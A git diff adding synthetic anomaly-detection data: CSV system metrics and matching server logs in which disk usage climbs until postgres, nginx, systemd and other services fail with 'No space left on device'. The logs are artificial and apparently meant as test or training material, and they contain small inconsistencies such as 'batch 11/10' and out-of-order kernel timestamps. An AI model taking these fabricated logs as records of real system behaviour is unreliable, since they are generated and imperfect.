+2025-07-02T12:01:20Z,23.27,42.46,26.7,1.26,1.84 +2025-07-02T12:01:25Z,15.58,42.38,25.32,1.17,1.98 +2025-07-02T12:01:30Z,18.53,46.44,26.71,1.46,1.64 +2025-07-02T12:01:35Z,19.02,40.97,29.12,0.53,0.88 +2025-07-02T12:01:40Z,18.25,44.97,24.17,0.74,1.68 +2025-07-02T12:01:45Z,19.98,42.91,24.78,1.32,1.85 +2025-07-02T12:01:50Z,16.92,47.1,24.06,0.59,1.22 +2025-07-02T12:01:55Z,15.88,41.49,26.54,1.5,1.97 +2025-07-02T12:02:00Z,20.74,46.57,24.71,0.79,1.72 +2025-07-02T12:02:05Z,20.01,46.91,28.89,0.6,1.81 +2025-07-02T12:02:10Z,21.06,47.44,24.03,0.76,1.65 +2025-07-02T12:02:15Z,22.66,42.32,22.72,1.35,1.83 +2025-07-02T12:02:20Z,20.52,42.93,26.24,1.08,1.87 +2025-07-02T12:02:25Z,18.56,43.53,28.58,1.03,1.01 +2025-07-02T12:02:30Z,19.45,45.45,32.44,1.3,1.73 +2025-07-02T12:02:35Z,17.25,47.89,33.26,0.99,0.96 +2025-07-02T12:02:40Z,16.07,40.79,31.17,1.28,1.56 +2025-07-02T12:02:45Z,22.5,45.65,32.85,0.73,0.8 +2025-07-02T12:02:50Z,20.59,44.42,36.01,0.59,1.31 +2025-07-02T12:02:55Z,17.76,40.55,36.43,1.36,1.75 +2025-07-02T12:03:00Z,18.79,44.68,35.4,1.05,1.74 +2025-07-02T12:03:05Z,19.06,51.55,40.3,0.98,1.48 +2025-07-02T12:03:10Z,19.87,45.68,40.44,1.44,1.49 +2025-07-02T12:03:15Z,16.58,45.18,44.25,0.78,0.96 +2025-07-02T12:03:20Z,21.29,41.13,41.14,1.03,0.9 +2025-07-02T12:03:25Z,18.51,45.83,42.57,1.27,0.96 +2025-07-02T12:03:30Z,16.65,45.69,46.7,1.1,1.66 +2025-07-02T12:03:35Z,21.59,51.21,51.3,0.5,0.92 +2025-07-02T12:03:40Z,18.44,46.35,48.66,1.0,1.8 +2025-07-02T12:03:45Z,21.75,40.33,48.91,0.7,0.98 +2025-07-02T12:03:50Z,22.11,42.42,52.09,1.37,1.85 +2025-07-02T12:03:55Z,21.42,45.39,52.1,0.89,1.37 +2025-07-02T12:04:00Z,22.49,44.52,54.85,1.5,1.19 +2025-07-02T12:04:05Z,21.06,39.01,56.42,1.35,1.77 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--git a/anom_dataset/scenario_3/anom_3_16.log b/anom_dataset/scenario_3/anom_3_16.log new file mode 100644 index 0000000000000000000000000000000000000000..f623aa275f8fddaceb339ea0fc6ef42d3a52214e --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_16.log @@ -0,0 +1,35 @@ +Jul 02 12:00:00 systemd[1]: Started Session 10 of user ubuntu. +Jul 02 12:00:28 data-importer[3102]: INFO processing batch file data_5.csv +Jul 02 12:00:37 cron[5721]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:51 systemd[1]: Started Session 20 of user ubuntu. +Jul 02 12:01:11 cron[51421]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:15 data-importer[3102]: INFO processing batch file data_15.csv +Jul 02 12:01:40 systemd[1]: Started Session 30 of user ubuntu. +Jul 02 12:01:46 cron[52121]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:05 data-importer[3102]: INFO processing batch file data_25.csv +Jul 02 12:02:21 cron[52821]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:32 systemd[1]: Started Session 40 of user ubuntu. +Jul 02 12:02:56 cron[53521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:20 data-importer[3102]: INFO large data file received, starting import process... +Jul 02 12:03:47 kernel: [1823.45] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 12:04:01 data-importer[3102]: INFO large data file received, starting import process... +Jul 02 12:04:13 kernel: [1823.50] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 12:04:36 kernel: [1823.55] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 12:04:42 data-importer[3102]: INFO large data file received, starting import process... +Jul 02 12:05:00 kernel: [1823.60] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 12:05:23 data-importer[3102]: INFO large data file received, starting import process... +Jul 02 12:05:28 kernel: [1823.65] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 12:05:52 postgres[4512]: ERROR could not write to transaction log: No space left on device +Jul 02 12:06:02 data-importer[3102]: INFO large data file received, starting import process... +Jul 02 12:06:16 kernel: [1823.75] EXT4-fs (sda1): warning: mounting fs with errors, running e2fsck is recommended +Jul 02 12:06:35 postgres[4512]: ERROR could not write to transaction log: No space left on device +Jul 02 12:06:41 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 02 12:06:48 data-importer[3102]: ERROR failed to write to temporary file: [Errno 28] No space left on device +Jul 02 12:06:51 postgres[4512]: ERROR could not write to transaction log: No space left on device +Jul 02 12:06:57 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 02 12:07:00 data-importer[3102]: ERROR failed to write to temporary file: [Errno 28] No space left on device +Jul 02 12:07:06 postgres[4512]: ERROR could not write to transaction log: No space left on device +Jul 02 12:07:12 systemd[1]: Failed to start Flush Journal to Persistent Storage. +Jul 02 12:07:17 data-importer[3102]: ERROR failed to write to temporary file: [Errno 28] No space left on device +Jul 02 12:07:21 postgres[4512]: ERROR could not write to transaction log: No space left on device +Jul 02 12:07:25 systemd[1]: Failed to start Flush Journal to Persistent Storage. diff --git a/anom_dataset/scenario_3/anom_3_17.csv b/anom_dataset/scenario_3/anom_3_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..4f362b92575258e0e8492d1af46632afd75ed90a --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,12.82,37.71,19.69,0.94,1.42 +2025-07-03T14:00:05Z,12.33,41.31,19.94,0.64,1.33 +2025-07-03T14:00:10Z,15.52,36.9,26.96,0.86,1.07 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+2025-07-03T14:06:55Z,11.63,35.47,92.84,0.93,1.03 +2025-07-03T14:07:00Z,16.58,40.58,84.93,1.02,1.31 +2025-07-03T14:07:05Z,18.15,37.49,94.01,0.97,1.17 +2025-07-03T14:07:10Z,16.4,39.86,91.82,0.93,0.82 +2025-07-03T14:07:15Z,11.37,37.43,100.0,0.89,1.35 +2025-07-03T14:07:20Z,11.05,40.25,97.99,1.02,1.17 +2025-07-03T14:07:25Z,15.86,39.69,100.0,0.99,1.55 diff --git a/anom_dataset/scenario_3/anom_3_17.log b/anom_dataset/scenario_3/anom_3_17.log new file mode 100644 index 0000000000000000000000000000000000000000..6e3b0d9cf62ebb908494fa682c46e7a09ec95b0c --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_17.log @@ -0,0 +1,52 @@ +Jul 03 14:00:05 kernel: [12345.678] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/ld.so.preload" pid=1234 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 14:00:25 systemd[1]: Starting Clean php session files... +Jul 03 14:00:50 CRON[15602]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 14:01:30 sshd[15620]: Accepted password for user root from 10.0.2.2 port 56780 ssh2 +Jul 03 14:02:05 mysqld[1120]: [Note] /usr/sbin/mysqld (mysqld 10.3.34-MariaDB-0ubuntu0.20.04.1) starting as process 1120 ... +Jul 03 14:02:55 kernel: [12395.112] NET: Registered protocol family 10 +Jul 03 14:03:45 prometheus-node-exporter[987]: ts=2025-07-03T14:03:45.123Z caller=collector.go:167 level=info collector=thermal_zone msg="Starting collector" +Jul 03 14:04:35 postgres[16345]: [2-1] LOG: checkpoint complete: wrote 895 buffers (5.5%); 0 WAL file(s) added, 0 removed, 1 recycled; write=1.238 s, sync=0.012 s, total=1.315 s; sync files=12, longest=0.006 s, average=0.001 s; distance=4387 kB, estimate=4387 kB +Jul 03 14:05:25 kernel: [12485.444] new high speed USB device number 6 using xhci_hcd +Jul 03 14:05:52 app-worker[13023]: ERROR: Failed to write to temp file /tmp/app-cache-13023.tmp +Jul 03 14:05:56 app-worker[11811]: ERROR: Failed to write to temp file /tmp/app-cache-11811.tmp +Jul 03 14:06:02 kernel: [12655.699] blk_update_request: I/O error, dev sda, sector 654402 +Jul 03 14:06:02 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:06:02 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:06:07 app-worker[12679]: ERROR: Failed to write to temp file /tmp/app-cache-12679.tmp +Jul 03 14:06:13 kernel: [12655.287] blk_update_request: I/O error, dev sda, sector 430383 +Jul 03 14:06:13 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:06:13 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:06:16 logrotate[17890]: error: failed to rename /var/log/syslog to /var/log/syslog.1: No space left on device +Jul 03 14:06:17 app-worker[10771]: ERROR: Failed to write to temp file /tmp/app-cache-10771.tmp +Jul 03 14:06:22 app-worker[14412]: ERROR: Failed to write to temp file /tmp/app-cache-14412.tmp +Jul 03 14:06:22 kernel: [12655.363] blk_update_request: I/O error, dev sda, sector 620201 +Jul 03 14:06:22 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:06:22 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:06:26 app-worker[13851]: ERROR: Failed to write to temp file /tmp/app-cache-13851.tmp +Jul 03 14:06:37 app-worker[11042]: ERROR: Failed to write to temp file /tmp/app-cache-11042.tmp +Jul 03 14:06:38 kernel: [12655.338] blk_update_request: I/O error, dev sda, sector 673689 +Jul 03 14:06:38 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:06:38 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:06:41 logrotate[17890]: error: failed to rename /var/log/syslog to /var/log/syslog.1: No space left on device +Jul 03 14:06:43 app-worker[11559]: ERROR: Failed to write to temp file /tmp/app-cache-11559.tmp +Jul 03 14:06:51 app-worker[10742]: ERROR: Failed to write to temp file /tmp/app-cache-10742.tmp +Jul 03 14:06:52 kernel: [12655.945] blk_update_request: I/O error, dev sda, sector 143393 +Jul 03 14:06:52 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:06:52 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:06:56 app-worker[11053]: ERROR: Failed to write to temp file /tmp/app-cache-11053.tmp +Jul 03 14:07:01 kernel: [12655.273] blk_update_request: I/O error, dev sda, sector 186771 +Jul 03 14:07:01 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:07:01 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:07:02 app-worker[10442]: ERROR: Failed to write to temp file /tmp/app-cache-10442.tmp +Jul 03 14:07:08 logrotate[17890]: error: failed to rename /var/log/syslog to /var/log/syslog.1: No space left on device +Jul 03 14:07:13 app-worker[14729]: ERROR: Failed to write to temp file /tmp/app-cache-14729.tmp +Jul 03 14:07:18 app-worker[11444]: ERROR: Failed to write to temp file /tmp/app-cache-11444.tmp +Jul 03 14:07:18 kernel: [12655.145] blk_update_request: I/O error, dev sda, sector 375955 +Jul 03 14:07:18 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:07:18 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:07:22 app-worker[12460]: ERROR: Failed to write to temp file /tmp/app-cache-12460.tmp +Jul 03 14:07:26 kernel: [12655.702] blk_update_request: I/O error, dev sda, sector 631984 +Jul 03 14:07:26 postgres[16250]: [3-1] ERROR: could not extend file "base/16384/16899": No space left on device +Jul 03 14:07:26 postgres[16250]: [3-2] HINT: Check free disk space. +Jul 03 14:07:27 app-worker[11488]: ERROR: Failed to write to temp file /tmp/app-cache-11488.tmp +Jul 03 14:07:27 node-problem-detector[888]: E0703 14:07:32.123456 problem_daemon.go:190] Failed to write status: write /var/log/node-problem-detector/status: no space left on device diff --git a/anom_dataset/scenario_3/anom_3_18.csv b/anom_dataset/scenario_3/anom_3_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..3d8b9c15120b76cb183cee39dcaf572e1d9f1c69 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T14:00:00Z,12.82,37.71,17.87,0.84,1.42 +2025-08-24T14:00:05Z,12.33,41.31,18.71,0.54,1.33 +2025-08-24T14:00:10Z,15.52,36.9,22.24,0.76,1.07 +2025-08-24T14:00:15Z,13.06,37.67,26.24,0.81,1.3 +2025-08-24T14:00:20Z,18.36,41.36,23.01,0.76,1.62 +2025-08-24T14:00:25Z,14.9,39.37,22.66,0.6,1.09 +2025-08-24T14:00:30Z,15.77,39.99,25.25,0.83,1.3 +2025-08-24T14:00:35Z,15.18,37.89,24.66,0.66,1.63 +2025-08-24T14:00:40Z,12.19,41.31,26.81,0.51,0.88 +2025-08-24T14:00:45Z,15.21,40.0,27.79,0.37,1.26 +2025-08-24T14:00:50Z,17.46,39.26,27.79,0.61,1.04 +2025-08-24T14:00:55Z,18.19,42.8,27.47,0.88,1.29 +2025-08-24T14:01:00Z,13.56,46.08,27.51,0.95,1.12 +2025-08-24T14:01:05Z,12.25,40.89,31.17,1.04,1.28 +2025-08-24T14:01:10Z,13.27,38.29,29.38,0.94,1.18 +2025-08-24T14:01:15Z,17.44,37.68,32.22,0.69,1.52 +2025-08-24T14:01:20Z,18.27,37.46,28.52,0.69,1.5 +2025-08-24T14:01:25Z,10.58,37.38,32.27,0.74,1.03 +2025-08-24T14:01:30Z,13.53,41.44,30.61,0.93,1.51 +2025-08-24T14:01:35Z,14.02,35.97,33.42,0.71,0.85 +2025-08-24T14:01:40Z,13.25,39.97,31.81,0.96,1.75 +2025-08-24T14:01:45Z,14.98,37.91,36.56,1.3,1.02 +2025-08-24T14:01:50Z,11.92,42.1,37.44,0.79,1.5 +2025-08-24T14:01:55Z,10.88,36.49,41.01,1.09,1.59 +2025-08-24T14:02:00Z,15.74,41.57,37.99,0.66,1.62 +2025-08-24T14:02:05Z,15.01,41.91,37.82,0.95,1.63 +2025-08-24T14:02:10Z,16.06,42.44,39.29,0.61,1.3 +2025-08-24T14:02:15Z,17.66,37.32,38.17,1.36,1.39 +2025-08-24T14:02:20Z,15.52,37.93,43.62,0.78,1.52 +2025-08-24T14:02:25Z,13.56,38.53,37.75,0.84,1.46 +2025-08-24T14:02:30Z,14.45,40.45,41.37,1.11,1.01 +2025-08-24T14:02:35Z,12.25,42.89,43.76,0.84,1.05 +2025-08-24T14:02:40Z,11.07,35.79,42.78,0.52,1.62 +2025-08-24T14:02:45Z,17.5,40.65,46.24,0.8,0.97 +2025-08-24T14:02:50Z,15.59,39.42,45.88,0.74,0.94 +2025-08-24T14:02:55Z,12.76,35.55,49.8,1.0,1.06 +2025-08-24T14:03:00Z,13.79,39.68,46.76,0.59,1.66 +2025-08-24T14:03:05Z,14.06,46.55,46.68,0.39,1.31 +2025-08-24T14:03:10Z,14.87,40.68,46.98,0.6,1.21 +2025-08-24T14:03:15Z,11.58,40.18,48.74,0.87,1.37 +2025-08-24T14:03:20Z,16.29,36.13,50.39,0.78,0.93 +2025-08-24T14:03:25Z,13.51,40.83,49.39,0.7,1.06 +2025-08-24T14:03:30Z,11.65,40.69,53.94,1.07,1.25 +2025-08-24T14:03:35Z,16.59,46.21,50.5,0.96,1.75 +2025-08-24T14:03:40Z,13.44,41.35,50.55,0.7,1.07 +2025-08-24T14:03:45Z,16.75,35.33,54.85,0.45,1.08 +2025-08-24T14:03:50Z,17.11,37.42,51.18,0.94,1.45 +2025-08-24T14:03:55Z,16.42,40.39,52.62,0.67,1.36 +2025-08-24T14:04:00Z,17.49,39.52,55.92,0.66,1.22 +2025-08-24T14:04:05Z,16.06,34.01,56.05,0.31,1.58 +2025-08-24T14:04:10Z,13.74,41.07,53.83,0.65,1.0 +2025-08-24T14:04:15Z,15.72,42.01,52.13,0.57,1.06 +2025-08-24T14:04:20Z,13.11,43.63,58.46,0.65,1.2 +2025-08-24T14:04:25Z,14.32,35.54,60.64,0.84,0.87 +2025-08-24T14:04:30Z,12.63,44.07,53.38,0.76,1.17 +2025-08-24T14:04:35Z,16.75,40.93,61.24,0.81,1.72 +2025-08-24T14:04:40Z,13.75,42.37,62.14,0.93,1.65 +2025-08-24T14:04:45Z,14.16,39.58,62.24,0.5,1.23 +2025-08-24T14:04:50Z,14.1,37.55,60.14,0.54,1.57 +2025-08-24T14:04:55Z,14.85,36.91,60.7,1.09,1.43 +2025-08-24T14:05:00Z,14.71,36.6,63.45,0.63,1.15 +2025-08-24T14:05:05Z,13.95,38.61,66.65,1.05,1.78 +2025-08-24T14:05:10Z,15.55,41.61,65.37,0.75,0.89 +2025-08-24T14:05:15Z,15.85,38.49,67.82,0.56,1.17 +2025-08-24T14:05:20Z,15.88,36.34,67.8,0.88,1.21 +2025-08-24T14:05:25Z,17.22,43.08,86.24,0.77,1.5 +2025-08-24T14:05:30Z,16.84,30.37,86.57,0.83,1.37 +2025-08-24T14:05:35Z,14.73,38.19,86.48,0.89,1.23 +2025-08-24T14:05:40Z,13.42,38.51,91.78,1.12,1.37 +2025-08-24T14:05:45Z,16.74,37.71,83.84,0.62,1.61 +2025-08-24T14:05:50Z,14.84,42.12,86.05,0.94,1.12 +2025-08-24T14:05:55Z,13.04,43.04,82.08,0.61,1.18 +2025-08-24T14:06:00Z,14.92,43.62,88.92,0.91,1.11 +2025-08-24T14:06:05Z,14.79,32.86,91.06,0.54,1.35 +2025-08-24T14:06:10Z,13.58,37.13,88.62,0.97,1.17 +2025-08-24T14:06:15Z,15.55,38.92,75.33,0.8,1.59 +2025-08-24T14:06:20Z,17.5,39.53,75.27,0.65,1.1 +2025-08-24T14:06:25Z,13.56,36.89,77.27,0.74,0.97 +2025-08-24T14:06:30Z,9.73,39.64,79.05,0.88,1.32 +2025-08-24T14:06:35Z,15.39,39.35,81.02,0.6,1.56 +2025-08-24T14:06:40Z,17.5,35.29,83.01,0.89,1.57 +2025-08-24T14:06:45Z,15.21,46.64,100.0,0.97,1.49 +2025-08-24T14:06:50Z,15.64,37.08,100.0,0.73,0.98 +2025-08-24T14:06:55Z,11.63,35.47,100.0,0.83,1.03 +2025-08-24T14:07:00Z,16.58,40.58,99.9,0.92,1.31 +2025-08-24T14:07:05Z,18.15,37.49,100.0,0.87,1.17 +2025-08-24T14:07:10Z,16.4,39.86,99.95,0.83,0.82 +2025-08-24T14:07:15Z,11.37,37.43,99.92,0.79,1.35 +2025-08-24T14:07:20Z,11.05,40.25,99.98,0.92,1.17 +2025-08-24T14:07:25Z,15.86,39.69,99.94,0.89,1.55 diff --git a/anom_dataset/scenario_3/anom_3_18.log b/anom_dataset/scenario_3/anom_3_18.log new file mode 100644 index 0000000000000000000000000000000000000000..53767979fdf2b92a5e027ddbcb963d977bb8689f --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_18.log @@ -0,0 +1,37 @@ +Aug 24 14:00:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 24 14:00:25 server cron[3122]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 24 14:01:15 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 24 14:01:40 server web-app[1120]: INFO: User 'admin' logged in successfully from 192.168.1.100 +Aug 24 14:02:30 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 24 14:03:45 server db-backup[4510]: INFO: Dumping data for database 'production' to '/var/backups/prod.sql.gz'... +Aug 24 14:03:45 server db-backup[4510]: INFO: Starting scheduled database backup. +Aug 24 14:03:45 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 24 14:05:00 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 24 14:05:25 server data-importer[5678]: INFO Processing batch 1/10, writing 5GB to temporary file. +Aug 24 14:05:30 server data-importer[5678]: INFO Processing batch 2/10, writing 5GB to temporary file. +Aug 24 14:05:35 server data-importer[5678]: INFO Processing batch 3/10, writing 5GB to temporary file. +Aug 24 14:05:40 server data-importer[5678]: INFO Processing batch 4/10, writing 5GB to temporary file. +Aug 24 14:05:45 server data-importer[5678]: INFO Processing batch 5/10, writing 5GB to temporary file. +Aug 24 14:05:50 server data-importer[5678]: INFO Processing batch 6/10, writing 5GB to temporary file. +Aug 24 14:05:55 server data-importer[5678]: INFO Processing batch 7/10, writing 5GB to temporary file. +Aug 24 14:06:00 server data-importer[5678]: INFO Processing batch 8/10, writing 5GB to temporary file. +Aug 24 14:06:05 server data-importer[5678]: INFO Processing batch 9/10, writing 5GB to temporary file. +Aug 24 14:06:10 server data-importer[5678]: INFO Processing batch 10/10, writing 5GB to temporary file. +Aug 24 14:06:15 server data-importer[5678]: INFO Processing batch 11/10, writing 5GB to temporary file. +Aug 24 14:06:15 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 24 14:06:20 server db-backup[4510]: ERROR: Cannot write to log file '/var/log/app.log': No space left on device +Aug 24 14:06:25 server systemd[1]: Failed to start user-runtime-dir@1000.service: No space left on device +Aug 24 14:06:30 server systemd[1]: Failed to start user-runtime-dir@1000.service: No space left on device +Aug 24 14:06:35 server kernel: ERROR: write error: No space left on device +Aug 24 14:06:35 server kernel: [13456.78] blk_update_request: I/O error, dev sda, sector 123456 +Aug 24 14:06:40 server db-backup[4510]: ERROR: Cannot write to log file '/var/log/app.log': No space left on device +Aug 24 14:06:45 server db-backup[4510]: ERROR: Cannot write to log file '/var/log/app.log': No space left on device +Aug 24 14:06:50 server data-importer[5678]: ERROR: Cannot write to log file '/var/log/app.log': No space left on device +Aug 24 14:06:55 server db-backup[4510]: ERROR: Cannot write to log file '/var/log/app.log': No space left on device +Aug 24 14:07:00 server web-app[1120]: ERROR: Failed to write session file '/tmp/sess_abc84': No space left on device +Aug 24 14:07:05 server systemd[1]: Failed to start user-runtime-dir@1000.service: No space left on device +Aug 24 14:07:10 server db-backup[4510]: ERROR: Cannot write to log file '/var/log/app.log': No space left on device +Aug 24 14:07:15 server kernel: ERROR: write error: No space left on device +Aug 24 14:07:15 server kernel: [13456.78] blk_update_request: I/O error, dev sda, sector 123456 +Aug 24 14:07:20 server systemd[1]: Failed to start user-runtime-dir@1000.service: No space left on device +Aug 24 14:07:25 server systemd[1]: Failed to start user-runtime-dir@1000.service: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_19.csv b/anom_dataset/scenario_3/anom_3_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..70d89589a9452fcf24533a2bb7b043bec9f9a845 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,15.99,40.29,31.04,0.93,1.63 +2025-08-15T14:00:05Z,14.72,42.91,33.63,0.63,0.77 +2025-08-15T14:00:10Z,16.3,37.89,30.91,0.59,1.55 +2025-08-15T14:00:15Z,18.05,39.02,32.49,0.9,1.2 +2025-08-15T14:00:20Z,14.53,38.82,33.63,0.76,0.91 +2025-08-15T14:00:25Z,14.53,35.61,32.01,0.94,1.34 +2025-08-15T14:00:30Z,18.16,40.89,33.82,0.89,1.26 +2025-08-15T14:00:35Z,16.53,40.78,33.96,0.79,1.02 +2025-08-15T14:00:40Z,14.06,40.02,34.69,0.63,1.22 +2025-08-15T14:00:45Z,16.09,39.3,33.51,0.5,1.08 +2025-08-15T14:00:50Z,14.07,35.75,35.67,0.71,1.23 +2025-08-15T14:00:55Z,14.07,38.74,37.18,0.97,1.4 +2025-08-15T14:01:00Z,15.48,38.97,39.64,0.84,1.68 +2025-08-15T14:01:05Z,11.17,37.59,39.22,0.55,0.83 +2025-08-15T14:01:10Z,11.55,39.52,42.17,0.83,1.84 +2025-08-15T14:01:15Z,13.88,41.21,36.89,0.88,0.61 +2025-08-15T14:01:20Z,12.97,45.66,40.73,0.62,1.15 +2025-08-15T14:01:25Z,15.63,40.52,39.92,0.83,1.38 +2025-08-15T14:01:30Z,13.18,40.77,44.49,0.81,1.28 +2025-08-15T14:01:35Z,12.18,39.78,39.06,0.57,1.01 +2025-08-15T14:01:40Z,17.93,34.24,39.56,0.87,1.14 +2025-08-15T14:01:45Z,14.55,39.92,40.6,0.91,1.05 +2025-08-15T14:01:50Z,15.14,40.18,38.11,1.02,1.02 +2025-08-15T14:01:55Z,12.15,47.39,41.87,1.01,1.45 +2025-08-15T14:02:00Z,13.91,39.42,41.96,0.52,1.31 +2025-08-15T14:02:05Z,15.22,40.9,44.35,0.61,0.99 +2025-08-15T14:02:10Z,12.7,39.9,45.29,0.9,1.47 +2025-08-15T14:02:15Z,15.75,36.49,48.92,0.9,1.29 +2025-08-15T14:02:20Z,13.8,43.43,47.63,0.9,1.44 +2025-08-15T14:02:25Z,14.42,42.26,45.14,1.57,1.39 +2025-08-15T14:02:30Z,13.8,42.37,45.06,0.91,0.95 +2025-08-15T14:02:35Z,18.7,37.27,48.4,1.03,1.03 +2025-08-15T14:02:40Z,14.97,44.21,45.34,0.99,1.42 +2025-08-15T14:02:45Z,12.88,35.79,52.2,0.93,1.38 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/dev/null +++ b/anom_dataset/scenario_3/anom_3_19.log @@ -0,0 +1,42 @@ +Aug 15 14:00:00 CRON[18331]: (root) CMD ( /usr/local/bin/health_check) +Aug 15 14:00:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:00:10 systemd[1]: Started Session 45 of user admin. +Aug 15 14:00:25 sshd[18450]: Accepted publickey for admin from 10.0.1.5 port 49152 ssh2: RSA SHA256:xyz... +Aug 15 14:01:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:01:15 CRON[18331]: (root) CMD ( /usr/local/bin/health_check) +Aug 15 14:01:40 data-processor[4512]: INFO Starting large data export job ID: exp-20250815-140140 +Aug 15 14:01:45 data-processor[4512]: INFO Export in progress, writing chunk 1/55 to /var/data/export.tmp +Aug 15 14:02:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:02:20 data-processor[4512]: INFO Export in progress, writing chunk 8/55 to /var/data/export.tmp +Aug 15 14:02:30 CRON[18331]: (root) CMD ( /usr/local/bin/health_check) +Aug 15 14:02:55 data-processor[4512]: INFO Export in progress, writing chunk 15/55 to /var/data/export.tmp +Aug 15 14:03:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:03:30 data-processor[4512]: INFO Export in progress, writing chunk 22/55 to /var/data/export.tmp +Aug 15 14:03:45 CRON[18331]: (root) CMD ( /usr/local/bin/health_check) +Aug 15 14:04:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:04:05 data-processor[4512]: INFO Export in progress, writing chunk 29/55 to /var/data/export.tmp +Aug 15 14:04:40 data-processor[4512]: INFO Export in progress, writing chunk 36/55 to /var/data/export.tmp +Aug 15 14:05:00 CRON[18331]: (root) CMD ( /usr/local/bin/health_check) +Aug 15 14:05:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:05:15 data-processor[4512]: INFO Export in progress, writing chunk 43/55 to /var/data/export.tmp +Aug 15 14:05:50 data-processor[4512]: INFO Export in progress, writing chunk 50/55 to /var/data/export.tmp +Aug 15 14:06:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:06:15 CRON[18331]: (root) CMD ( /usr/local/bin/health_check) +Aug 15 14:06:15 nginx[3101]: ERROR Failed to write to file /var/log/nginx.log: [Errno 28] No space left on device +Aug 15 14:06:20 data-processor[4512]: ERROR Failed to write to file /var/log/data-processor.log: [Errno 28] No space left on device +Aug 15 14:06:25 rsyslogd[1120]: ERROR Failed to write to file /var/log/rsyslogd.log: [Errno 28] No space left on device +Aug 15 14:06:30 kubelet[2891]: ERROR Failed to write to file /var/log/kubelet.log: [Errno 28] No space left on device +Aug 15 14:06:35 nginx[3101]: ERROR Failed to write to file /var/log/nginx.log: [Errno 28] No space left on device +Aug 15 14:06:40 data-processor[4512]: CRITICAL Export job failed: [Errno 28] No space left on device. Aborting. +Aug 15 14:06:40 data-processor[4512]: ERROR Failed to write to file /var/log/data-processor.log: [Errno 28] No space left on device +Aug 15 14:06:45 rsyslogd[1120]: ERROR Failed to write to file /var/log/rsyslogd.log: [Errno 28] No space left on device +Aug 15 14:06:50 kubelet[2891]: ERROR Failed to write to file /var/log/kubelet.log: [Errno 28] No space left on device +Aug 15 14:06:55 nginx[3101]: ERROR Failed to write to file /var/log/nginx.log: [Errno 28] No space left on device +Aug 15 14:07:00 data-processor[4512]: ERROR Failed to write to file /var/log/data-processor.log: [Errno 28] No space left on device +Aug 15 14:07:00 kubelet[2891]: INFO routine sync completed for pod web-app-7b5b7f9c7c-abcde +Aug 15 14:07:05 rsyslogd[1120]: ERROR Failed to write to file /var/log/rsyslogd.log: [Errno 28] No space left on device +Aug 15 14:07:05 systemd[1]: Failed to start user-runtime-dir@1000.service. +Aug 15 14:07:10 kubelet[2891]: ERROR Failed to write to file /var/log/kubelet.log: 